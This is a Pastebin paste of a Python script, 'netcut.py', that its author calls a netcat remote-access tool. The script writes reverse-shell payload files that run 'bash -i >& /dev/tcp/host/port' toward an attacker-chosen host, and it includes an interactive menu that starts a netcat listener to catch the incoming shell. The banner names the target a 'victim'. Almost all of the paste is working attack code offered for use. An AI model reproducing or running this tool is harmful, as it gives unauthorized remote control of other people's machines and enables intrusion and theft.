LOoLzeC

netcut.py

Feb 3rd, 2019
599
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.35 KB | None | 0 0
  1. # netcat rat by deray
  2. import subprocess
  3. from sys import argv
  4. import time,os
  5. banner = """
  6. __________________________
  7. < u wanna like me? -victim >
  8. --------------------------
  9.  \                __
  10.   \              (oo)
  11.    \             (  )
  12.     \            /--\\
  13.       __         / \ \
  14.      UooU\.'@@@@@@`.\ )
  15.      \__/(@@@@@@@@@@) /
  16.           (@@@@@@@@)((
  17.           `YY~~~~YY' \\
  18.            ||    ||   >> nCAT by Deray
  19.            
  20.  
  21. """
  22. set = """
  23.  name    description      current setting
  24.  ----    -----------      ---------------
  25.  host    host to listen   {}
  26.  port    port to listen   {}
  27.  exit    byee
  28. """
  29. # generate payload
  30. # ex: python nc.py LHOST=192.168xx LPORT=4444 -R payload.sh
  31. def pyGen():
  32.     c=argv[1]
  33.     d=argv[2]
  34.     e=argv[4]
  35.     if c != "LHOST=" and d !="LPORT=" and e !="-R":
  36.         print "lhost  :",c.replace("LHOST=","")
  37.         print "lport  :",d.replace("LPORT=","")
  38.         print "output : {}/{}".format(os.getcwd(),e)
  39.         print "generating payload ..."
  40.         time.sleep(3)
  41.         if ".py" in e:
  42.             try:
  43.                 file=open(e,"w")
  44.                 file.write("import subprocess,time\nsubprocess.Popen('bash -i >& /dev/tcp/"+c.replace("LHOST=","")+"/"+d.replace("LPORT=","")+" 0>&1',stdin=subprocess.PIPE,stderr=subprocess.PIPE,stdout=subprocess.PIPE);time.sleep(4)")
  45.                 file.close()
  46.                 print "payload created {} bytes ...".format(os.path.getsize(e))
  47.             except:
  48.                 print "failed to generating payload: unknown path",e
  49.         else:
  50.             try:
  51.                 file=open(e,"w")
  52.                 file.write("bash -i >& /dev/tcp/{}/{} 0>&1".format(c.replace("LHOST=",""),d.replace("LPORT=","")))
  53.                 file.close()
  54.                 print "payload created {} bytes ...".format(os.path.getsize(e))
  55.             except:
  56.                 print "failed to generating payload: unknown path",e
  57.     else:
  58.         print "ussage: "+argv[0]+" LHOST=192.168xxx LPORT=4444 -R payload.sh/payload.py"
  59.  
  60. # Listen menu  
  61. class main():
  62.     def __init__(self):
  63.         self.ip=""
  64.         self.port=""
  65.         self.cek()
  66.     def cek(self):
  67.         while True:
  68.             s=raw_input("netcatRAT~$ ")
  69.             if "set host" in s.lower() or "set lhost" in s.lower():
  70.                 self.ip=s.split()[-1]
  71.                 if self.ip == "ip":
  72.                     print "[+] failed to input host",self.ip+" did u mean?";self.ip=""
  73.                 else:
  74.                     print "LHOST =>",self.ip
  75.             elif "set port" in s.lower() or "set lport" in s.lower():
  76.                 self.port=s.split()[-1]
  77.                 if self.port == "port":
  78.                     print "[+] failed to input port",self.port+" did u mean?";self.port=""
  79.                 else:
  80.                     print "LPORT =>",self.port
  81.             elif "?" in s or "help" in s:
  82.                 print set.format(self.ip,self.port)
  83.             elif "run" in s.lower():
  84.                 if self.ip is not "" and self.port is not "":
  85.                     print "[+] Listening on LPORT",self.ip+":"+self.port+" ..."
  86.                     os.system("nc -l -p %s"%(self.port))
  87.                 else:
  88.                     print "[-] Sorry host or port is not set."
  89.             elif "exit" in s.lower():
  90.                 exit()
  91.             elif s == "":
  92.                 return self.cek()
  93.             else:
  94.                 print "[-] Unknown command:",s+" type 'help' for more options'"
  95.                
  96.                
  97. if __name__ == "__main__":
  98.     if len(argv) !=1:
  99.         try:
  100.             if (os.system("which nc") !=0):
  101.                 print "[-] netcut program is not installed :')"
  102.                 exit()
  103.             else:
  104.                 os.system("clear")
  105.                 pyGen()
  106.         except:
  107.             print "ussage: "+argv[0]+" LHOST=192.168xxx LPORT=4444 -R payload.sh"
  108.     else:
  109.         if (os.system("which nc") !=0):
  110.             print "[-] netcut program is not installed :')"
  111.             exit()
  112.         else:
  113.             os.system("clear")
  114.             print(banner)
  115.             main()
Advertisement
Add Comment
Please, Sign In to add comment